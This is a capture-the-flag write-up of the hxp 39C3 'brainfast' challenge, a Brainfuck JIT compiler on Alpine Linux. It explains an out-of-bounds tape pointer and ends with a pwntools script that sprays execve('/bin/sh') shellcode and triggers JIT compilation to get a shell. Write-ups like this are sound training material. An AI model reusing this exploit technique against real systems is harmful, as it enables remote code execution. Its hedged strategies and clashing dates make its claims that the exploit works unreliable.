hxp 39C3 CTF - brainfast
hxp 39C3 CTF - brainfast
Platform: hxp_39c3 | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2025-12-28 | Status: Solved Techniques: NA
Summary
Task: exploit a Brainfuck JIT compiler running on Alpine Linux (musl libc). Solution: leverage the out-of-bounds pointer access (initial pointer is outside the tape) to write shellcode into memory where the JIT buffer will be allocated, then trigger JIT compilation to execute it.
hxp 39C3 CTF - brainfast
Category: PWN
Points: ?
Solves: ?
Event: hxp 39C3 CTF 2024
Challenge Description
Brainfuck JIT compiler running on Alpine Linux (musl libc).
Files
vuln- Main binary (PIE, Canary, NX, Full RELRO)snippets.so- Shared library with code snippetsynetd- Network wrapper
Analysis
Memory Layout
The program sets up a specific memory layout:
munmap(0x6e0000000000, 0x10000000000) // Clear 1TB region
mmap(0x6efffffff000, 0x1000, RW, MAP_FIXED_NOREPLACE) // Create tape
initial_pointer = tape - 0x2000 = 0x6effffffd000
Brainfuck Operations
<- Add 4 to pointer (move to higher address)>- Subtract 4 from pointer (move to lower address)+- Increment cell value-- Decrement cell value.- Print low byte of cell (calls putchar),- Read byte into cell (calls getchar)[- Start loop (skip if cell is 0)]- End loop (jump back if cell is non-zero)
JIT Compilation
Loops are JIT compiled after 4 iterations:
mmap(NULL, 0x1000, PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS)- Allocate JIT buffer- Copy snippets from
snippets.soto JIT buffer hsearch(ENTER)- Store in hash tablemprotect(jit, 0x1000, PROT_READ|PROT_EXEC)- Make executable- Call JIT code
Snippets Structure
The snippets are stored in DATA sections of snippets.so:
move_left (0x2000): add qword [rdi], 4
move_right (0x2004): sub qword [rdi], 4
increment (0x2008): mov rax,[rdi]; inc dword [rax]
decrement (0x200d): mov rax,[rdi]; dec dword [rax]
io_out (0x2012): push rdi; mov rdi,[rdi]; mov rdi,[rdi]; movabs rax,<putchar>; call rax; pop rdi
io_in (0x2026): push rdi; movabs rax,<getchar>; call rax; pop rdi; mov rsi,[rdi]; mov [rsi],eax
compare (0x2039): mov rax,[rdi]; test dword [rax],-1; setne al; movzx eax,al; ret
trap_nz (0x2049): mov rax,[rdi]; test dword [rax],-1; je end; movabs rax,<trap>; jmp rax
Key observation: io_out, io_in, and trap_nz contain absolute addresses that are resolved at load time.
Vulnerability
OOB Access
The initial pointer is set to tape - 0x2000, which is OUTSIDE the tape!
The program doesn't properly validate pointer bounds, allowing OOB read/write.
Accessible range:
- Below initial pointer: ~0x3000 bytes (0xbf5 cells)
- Above initial pointer: ~0x3fc40 bytes (0xff10 cells)
Memory Above Tape
We can access ~0x3cc40 bytes above the tape end (0x6f0000000000). This memory exists and is accessible, suggesting something is mapped there.
On musl/Alpine, mmap(NULL) may allocate memory in this region!
Exploit Strategy
Approach 1: Pre-write Attack
- Write shellcode to where JIT buffer will be allocated
- Trigger JIT compilation
- If JIT buffer overlaps with our shellcode, it executes
Approach 2: Hash Table Corruption
- Find hsearch hash table in accessible memory
- Corrupt an entry to point to controlled address
- When
hsearch(FIND)returns our fake entry, JIT pointer is hijacked
Approach 3: Snippets Modification
- If snippets.so is in accessible memory, modify absolute addresses
- Change
putchartosystem, etc. - Trigger JIT compilation with
.operation - JIT code calls our modified address
Exploit Code
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' HOST = '46.224.122.168' PORT = 1337 TAPE_START_CELLS = 0x800 TAPE_END_CELLS = 0xc00 def move_left(n): return '<' * n def move_right(n): return '>' * n def inc(n=1): return '+' * n def dec(n=1): return '-' * n def set_value(val): val = val & 0xff if val > 128: return dec(256 - val) return inc(val) def write_bytes_at(offset, data): bf = move_left(offset) if offset > 0 else move_right(-offset) for i, byte in enumerate(data): bf += set_value(byte) if i < len(data) - 1: bf += move_left(1) return bf def trigger_jit(): bf = move_left(TAPE_START_CELLS) bf += '+[-]' * 4 return bf # Shellcode shellcode = asm(''' xor rsi, rsi xor rdx, rdx push rsi mov rdi, 0x68732f6e69622f push rdi mov rdi, rsp mov al, 59 syscall ''') p = remote(HOST, PORT) p.recvuntil(b'> ') # Write shellcode above tape for offset in range(TAPE_END_CELLS, TAPE_END_CELLS + 0x400, 0x100): bf = write_bytes_at(offset, shellcode) p.sendline(bf.encode()) p.recvuntil(b'> ') # Trigger JIT p.sendline(trigger_jit().encode()) p.interactive()
Notes
- The challenge exploits the interaction between musl's mmap behavior and the OOB vulnerability
- Alpine Linux uses musl libc which has different memory allocation patterns than glibc
- The hint "Alpine Linux helps to keep things lightweight" refers to musl's simpler memory layout
References
- musl libc source: https://musl.libc.org/
- Linux mmap behavior: https://man7.org/linux/man-pages/man2/mmap.2.html